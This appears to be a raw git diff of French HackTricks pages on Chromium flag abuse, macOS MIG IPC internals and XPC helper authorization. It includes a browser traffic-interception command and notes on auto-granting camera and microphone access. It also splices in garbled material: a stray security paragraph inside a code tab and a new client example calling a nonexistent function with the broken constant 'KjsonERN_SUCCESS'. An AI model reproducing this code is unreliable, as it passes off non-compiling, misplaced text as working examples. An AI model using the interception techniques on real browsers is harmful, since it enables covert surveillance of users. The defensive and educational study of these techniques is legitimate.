<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
Les navigateurs basés sur Chromium comme Google Chrome, Microsoft Edge, Brave, et d'autres. Ces navigateurs sont construits sur le projet open-source Chromium, ce qui signifie qu'ils partagent une base commune et, par conséquent, ont des fonctionnalités et des options de développement similaires.
|
||||
|
||||
#### Drapeau `--load-extension`
|
||||
|
||||
Le drapeau `--load-extension` est utilisé lors du démarrage d'un navigateur basé sur Chromium à partir de la ligne de commande ou d'un script. Ce drapeau permet de **charger automatiquement une ou plusieurs extensions** dans le navigateur au démarrage.
|
||||
|
||||
#### Drapeau `--use-fake-ui-for-media-stream`
|
||||
|
||||
Le drapeau `--use-fake-ui-for-media-stream` est une autre option en ligne de commande qui peut être utilisée pour démarrer les navigateurs basés sur Chromium. Ce drapeau est conçu pour **contourner les invites utilisateur normales qui demandent la permission d'accéder aux flux multimédias de la caméra et du microphone**. Lorsque ce drapeau est utilisé, le navigateur accorde automatiquement la permission à tout site web ou application qui demande l'accès à la caméra ou au microphone.
|
||||
|
||||
### Outils
|
||||
|
||||
* [https://github.com/breakpointHQ/snoop](https://github.com/breakpointHQ/snoop)
|
||||
* [https://github.com/breakpointHQ/VOODOO](https://github.com/breakpointHQ/VOODOO)
|
||||
|
||||
### Exemple
|
||||
```bash
|
||||
# Intercept traffic
|
||||
voodoo intercept -b chrome
|
||||
```
|
||||
Trouvez plus d'exemples dans les liens des outils
|
||||
|
||||
## Références
|
||||
|
||||
* [https://twitter.com/RonMasas/status/1758106347222995007](https://twitter.com/RonMasas/status/1758106347222995007)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
MIG a été créé pour **simplifier le processus de création de code Mach IPC**. Il **génère essentiellement le code nécessaire** pour que le serveur et le client puissent communiquer avec une définition donnée. Même si le code généré est peu élégant, un développeur aura juste besoin de l'importer et son code sera beaucoup plus simple qu'avant.
|
||||
MIG a été créé pour **simplifier le processus de création de code Mach IPC**. Il génère essentiellement le code nécessaire pour que le serveur et le client communiquent avec une définition donnée. Même si le code généré est moche, un développeur n'aura qu'à l'importer et son code sera beaucoup plus simple qu'auparavant.
|
||||
|
||||
### Exemple
|
||||
|
||||
|
@ -35,15 +35,15 @@ server_port : mach_port_t;
|
|||
n1 : uint32_t;
|
||||
n2 : uint32_t);
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
Maintenant, utilisez mig pour générer le code serveur et client qui pourra communiquer entre eux pour appeler la fonction Subtract :
|
||||
```
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
Plusieurs nouveaux fichiers seront créés dans le répertoire courant.
|
||||
Plusieurs nouveaux fichiers seront créés dans le répertoire actuel.
|
||||
|
||||
Dans les fichiers **`myipcServer.c`** et **`myipcServer.h`**, vous trouverez la déclaration et la définition de la structure **`SERVERPREFmyipc_subsystem`**, qui définit essentiellement la fonction à appeler en fonction de l'ID de message reçu (nous avons indiqué un numéro de départ de 500) :
|
||||
Dans les fichiers **`myipcServer.c`** et **`myipcServer.h`**, vous pouvez trouver la déclaration et la définition de la structure **`SERVERPREFmyipc_subsystem`**, qui définit essentiellement la fonction à appeler en fonction de l'ID du message reçu (nous avons indiqué un numéro de départ de 500) :
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipcServer.c" %}
|
||||
|
@ -65,6 +65,16 @@ myipc_server_routine,
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="myipcServer.h" %}
|
||||
|
||||
### macOS MIG (Mach Interface Generator)
|
||||
|
||||
Le générateur d'interface Mach (MIG) est un outil fourni par Apple pour simplifier la communication entre les processus sur macOS. Il génère des interfaces de programmation pour les services système qui utilisent le Mach IPC pour la communication inter-processus.
|
||||
|
||||
L'utilisation de MIG peut présenter des risques de sécurité, car une mauvaise configuration des interfaces peut entraîner des vulnérabilités de type dépassement de tampon ou de fuite de mémoire. Il est essentiel de sécuriser correctement les interfaces générées par MIG pour éviter les abus de processus et les élévations de privilèges sur un système macOS.
|
||||
|
||||
Assurez-vous de comprendre en profondeur le fonctionnement de MIG et de mettre en œuvre les bonnes pratiques de sécurité lors de son utilisation dans le développement d'applications macOS.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
extern const struct SERVERPREFmyipc_subsystem {
|
||||
|
@ -80,7 +90,7 @@ routine[1];
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Sur la base de la struct précédente, la fonction **`myipc_server_routine`** obtiendra l'**ID de message** et retournera la fonction appropriée à appeler :
|
||||
Basé sur la structure précédente, la fonction **`myipc_server_routine`** recevra l'**ID du message** et renverra la fonction appropriée à appeler :
|
||||
```c
|
||||
mig_external mig_routine_t myipc_server_routine
|
||||
(mach_msg_header_t *InHeadP)
|
||||
|
@ -95,16 +105,16 @@ return 0;
|
|||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
Dans cet exemple, nous n'avons défini qu'une seule fonction dans les définitions, mais si nous avions défini plusieurs fonctions, elles auraient été à l'intérieur du tableau de **`SERVERPREFmyipc_subsystem`** et la première aurait été attribuée à l'ID **500**, la seconde à l'ID **501**...
|
||||
Dans cet exemple, nous n'avons défini qu'une seule fonction dans les définitions, mais si nous avions défini plus de fonctions, elles auraient été à l'intérieur du tableau de **`SERVERPREFmyipc_subsystem`** et la première aurait été assignée à l'ID **500**, la deuxième à l'ID **501**...
|
||||
|
||||
En fait, il est possible d'identifier cette relation dans la structure **`subsystem_to_name_map_myipc`** de **`myipcServer.h`** :
|
||||
En fait, il est possible d'identifier cette relation dans la structure **`subsystem_to_name_map_myipc`** de **`myipcServer.h`**:
|
||||
```c
|
||||
#ifndef subsystem_to_name_map_myipc
|
||||
#define subsystem_to_name_map_myipc \
|
||||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
Enfin, une autre fonction importante pour faire fonctionner le serveur sera **`myipc_server`**, qui est celle qui va réellement **appeler la fonction** liée à l'ID reçu :
|
||||
Enfin, une autre fonction importante pour faire fonctionner le serveur sera **`myipc_server`**, qui est celle qui va effectivement **appeler la fonction** liée à l'ID reçu :
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
|
@ -121,7 +131,7 @@ mig_routine_t routine;
|
|||
|
||||
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
|
||||
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
|
||||
/* Taille minimale : routine() la mettra à jour si différente */
|
||||
/* Taille minimale : routine() la mettra à jour si elle est différente */
|
||||
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
|
||||
OutHeadP->msgh_local_port = MACH_PORT_NULL;
|
||||
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
|
||||
|
@ -138,9 +148,9 @@ return FALSE;
|
|||
}
|
||||
</code></pre>
|
||||
|
||||
Vérifiez les lignes précédemment mises en évidence qui accèdent à la fonction à appeler par ID.
|
||||
Vérifiez les lignes précédemment mises en évidence en accédant à la fonction à appeler par ID.
|
||||
|
||||
Dans la suite se trouve le code pour créer un **serveur** et un **client** simples où le client peut appeler les fonctions Subtract du serveur :
|
||||
Voici le code pour créer un **serveur** et un **client** simples où le client peut appeler les fonctions Subtract du serveur :
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server.c" %}
|
||||
|
@ -177,6 +187,36 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_client.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipc.h"
|
||||
|
||||
int main() {
|
||||
mach_port_t bootstrap_port;
|
||||
kern_return_t err;
|
||||
|
||||
err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("Failed to get bootstrap port\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
err = myipc_register(bootstrap_port);
|
||||
if (err != KjsonERN_SUCCESS) {
|
||||
printf("Failed to register myipc service\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("myipc service registered successfully\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
|
@ -201,18 +241,15 @@ printf("Port right name %d\n", port);
|
|||
USERPREFSubtract(port, 40, 2);
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
### Analyse Binaire
|
||||
|
||||
### Analyse binaire
|
||||
Comme de nombreux binaires utilisent désormais MIG pour exposer des ports mach, il est intéressant de savoir comment **identifier que MIG a été utilisé** et les **fonctions que MIG exécute** avec chaque identifiant de message.
|
||||
|
||||
Comme de nombreux binaires utilisent maintenant MIG pour exposer des ports mach, il est intéressant de savoir comment **identifier que MIG a été utilisé** et les **fonctions que MIG exécute** avec chaque ID de message.
|
||||
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) peut analyser les informations MIG d'un binaire Mach-O en indiquant l'ID de message et en identifiant la fonction à exécuter :
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) peut analyser les informations MIG d'un binaire Mach-O indiquant l'identifiant de message et identifiant la fonction à exécuter:
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
Il a été mentionné précédemment que la fonction qui s'occupera **d'appeler la fonction correcte en fonction de l'ID de message reçu** était `myipc_server`. Cependant, vous n'aurez généralement pas les symboles du binaire (pas de noms de fonctions), il est donc intéressant de **vérifier à quoi cela ressemble décompilé** car ce sera toujours très similaire (le code de cette fonction est indépendant des fonctions exposées) :
|
||||
Il a été mentionné précédemment que la fonction qui se chargera **d'appeler la fonction correcte en fonction de l'ID du message reçu** était `myipc_server`. Cependant, vous n'aurez généralement pas les symboles du binaire (pas de noms de fonctions), il est donc intéressant de **vérifier à quoi cela ressemble décompilé** car cela sera toujours très similaire (le code de cette fonction est indépendant des fonctions exposées) :
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server décompilé 1" %}
|
||||
|
@ -229,19 +266,19 @@ var_18 = arg1;
|
|||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// Appel à sign_extend_64 qui peut aider à identifier cette fonction
|
||||
// Ceci stocke dans rax le pointeur vers l'appel qui doit être effectué
|
||||
// Cela stocke dans rax le pointeur de l'appel qui doit être effectué
|
||||
// Vérifiez l'utilisation de l'adresse 0x100004040 (tableau d'adresses de fonctions)
|
||||
// 0x1f4 = 500 (l'ID de départ)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
</strong> var_20 = rax;
|
||||
// Si - sinon, le si renvoie faux, tandis que le sinon appelle la fonction correcte et renvoie vrai
|
||||
// If - else, le if retourne false, tandis que le else appelle la bonne fonction et retourne true
|
||||
<strong> if (rax == 0x0) {
|
||||
</strong> *(var_18 + 0x18) = **_NDR_record;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// Adresse calculée qui appelle la fonction appropriée avec 2 arguments
|
||||
// Adresse calculée qui appelle la bonne fonction avec 2 arguments
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
|
@ -258,7 +295,7 @@ return rax;
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_server décompilé 2" %}
|
||||
Ceci est la même fonction décompilée dans une version gratuite différente de Hopper :
|
||||
C'est la même fonction décompilée dans une version Hopper gratuite différente :
|
||||
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
r31 = r31 - 0x40;
|
||||
|
@ -301,7 +338,7 @@ if (CPU_FLAGS & NE) {
|
|||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// Même si sinon que dans la version précédente
|
||||
// Même if else que dans la version précédente
|
||||
// Vérifiez l'utilisation de l'adresse 0x100004040 (tableau d'adresses de fonctions)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
|
@ -333,24 +370,22 @@ return r0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
En fait, si vous allez à la fonction **`0x100004000`**, vous trouverez le tableau de structures **`routine_descriptor`**. Le premier élément de la structure est l'**adresse** où la **fonction** est implémentée, et la **structure prend 0x28 octets**, donc tous les 0x28 octets (à partir de l'octet 0), vous pouvez obtenir 8 octets et ce sera l'**adresse de la fonction** qui sera appelée :
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
En fait, si vous allez à la fonction **`0x100004000`**, vous trouverez le tableau des structures **`routine_descriptor`**. Le premier élément de la structure est l'**adresse** où la **fonction** est implémentée, et la **structure prend 0x28 octets**, donc tous les 0x28 octets (à partir de l'octet 0) vous pouvez obtenir 8 octets et ce sera l'**adresse de la fonction** qui sera appelée :
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ces données peuvent être extraites [**en utilisant ce script Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Autorisation XPC
|
||||
|
||||
Apple propose également une autre méthode pour authentifier si le processus de connexion a **les permissions d'appeler une méthode XPC exposée**.
|
||||
Apple propose également une autre façon d'authentifier si le processus connecté a les **permissions pour appeler une méthode XPC exposée**.
|
||||
|
||||
Lorsqu'une application doit **exécuter des actions en tant qu'utilisateur privilégié**, au lieu d'exécuter l'application en tant qu'utilisateur privilégié, elle installe généralement en tant que root un HelperTool en tant que service XPC qui peut être appelé depuis l'application pour effectuer ces actions. Cependant, l'application appelant le service doit avoir suffisamment d'autorisation.
|
||||
Lorsqu'une application doit **exécuter des actions en tant qu'utilisateur privilégié**, au lieu d'exécuter l'application en tant qu'utilisateur privilégié, elle installe généralement en tant que root un HelperTool en tant que service XPC pouvant être appelé par l'application pour effectuer ces actions. Cependant, l'application appelant le service doit disposer d'une autorisation suffisante.
|
||||
|
||||
### ShouldAcceptNewConnection toujours YES
|
||||
### ShouldAcceptNewConnection toujours OUI
|
||||
|
||||
Un exemple peut être trouvé dans [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Dans `App/AppDelegate.m`, il essaie de **se connecter** au **HelperTool**. Et dans `HelperTool/HelperTool.m`, la fonction **`shouldAcceptNewConnection`** **ne vérifiera pas** les exigences indiquées précédemment. Elle retournera toujours YES :
|
||||
Un exemple peut être trouvé dans [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Dans `App/AppDelegate.m`, il tente de **se connecter** au **HelperTool**. Et dans `HelperTool/HelperTool.m`, la fonction **`shouldAcceptNewConnection`** ne **vérifiera pas** les exigences indiquées précédemment. Elle retournera toujours OUI :
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
|
@ -39,18 +39,18 @@ newConnection.exportedObject = self;
|
|||
return YES;
|
||||
}
|
||||
```
|
||||
Pour plus d'informations sur la façon de configurer correctement cette vérification :
|
||||
Pour plus d'informations sur la manière de configurer correctement cette vérification :
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Droits d'application
|
||||
### Droits de l'application
|
||||
|
||||
Cependant, il y a une certaine **autorisation en cours lorsqu'une méthode du HelperTool est appelée**.
|
||||
Cependant, il y a une **autorisation en cours lorsque qu'une méthode du HelperTool est appelée**.
|
||||
|
||||
La fonction **`applicationDidFinishLaunching`** de `App/AppDelegate.m` va créer une référence d'autorisation vide après le démarrage de l'application. Cela devrait toujours fonctionner.\
|
||||
Ensuite, elle va essayer d'**ajouter des droits** à cette référence d'autorisation en appelant `setupAuthorizationRights` :
|
||||
La fonction **`applicationDidFinishLaunching`** de `App/AppDelegate.m` créera une référence d'autorisation vide après le démarrage de l'application. Cela devrait toujours fonctionner.\
|
||||
Ensuite, elle essaiera d'**ajouter certains droits** à cette référence d'autorisation en appelant `setupAuthorizationRights` :
|
||||
```objectivec
|
||||
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||
{
|
||||
|
@ -74,7 +74,7 @@ if (self->_authRef) {
|
|||
[self.window makeKeyAndOrderFront:self];
|
||||
}
|
||||
```
|
||||
La fonction `setupAuthorizationRights` de `Common/Common.m` stockera dans la base de données d'autorisation `/var/db/auth.db` les droits de l'application. Notez qu'elle n'ajoutera que les droits qui ne sont pas encore dans la base de données :
|
||||
La fonction `setupAuthorizationRights` de `Common/Common.m` stockera dans la base de données d'authentification `/var/db/auth.db` les droits de l'application. Remarquez comment elle ajoutera uniquement les droits qui ne sont pas encore dans la base de données :
|
||||
```objectivec
|
||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||
// See comment in header.
|
||||
|
@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
|
|||
}];
|
||||
}
|
||||
```
|
||||
La fonction `enumerateRightsUsingBlock` est celle utilisée pour obtenir les permissions des applications, qui sont définies dans `commandInfo` :
|
||||
La fonction `enumerateRightsUsingBlock` est celle utilisée pour obtenir les autorisations des applications, qui sont définies dans `commandInfo` :
|
||||
```objectivec
|
||||
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||||
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||||
|
@ -184,15 +184,15 @@ block(authRightName, authRightDefault, authRightDesc);
|
|||
}];
|
||||
}
|
||||
```
|
||||
Cela signifie qu'à la fin de ce processus, les permissions déclarées à l'intérieur de `commandInfo` seront stockées dans `/var/db/auth.db`. Notez comment vous pouvez y trouver pour **chaque méthode** qui **nécessitera une authentification**, le **nom de la permission** et le **`kCommandKeyAuthRightDefault`**. Ce dernier **indique qui peut obtenir ce droit**.
|
||||
Cela signifie qu'à la fin de ce processus, les autorisations déclarées à l'intérieur de `commandInfo` seront stockées dans `/var/db/auth.db`. Remarquez comment vous pouvez trouver pour **chaque méthode** qui **nécessite une authentification**, le **nom de l'autorisation** et le **`kCommandKeyAuthRightDefault`**. Ce dernier **indique qui peut obtenir ce droit**.
|
||||
|
||||
Il existe différents domaines pour indiquer qui peut accéder à un droit. Certains d'entre eux sont définis dans [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (vous pouvez trouver [tous ici](https://www.dssw.co.uk/reference/authorization-rights/)), mais en résumé :
|
||||
Il existe différents scopes pour indiquer qui peut accéder à un droit. Certains d'entre eux sont définis dans [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (vous pouvez les trouver [tous ici](https://www.dssw.co.uk/reference/authorization-rights/)), mais en résumé :
|
||||
|
||||
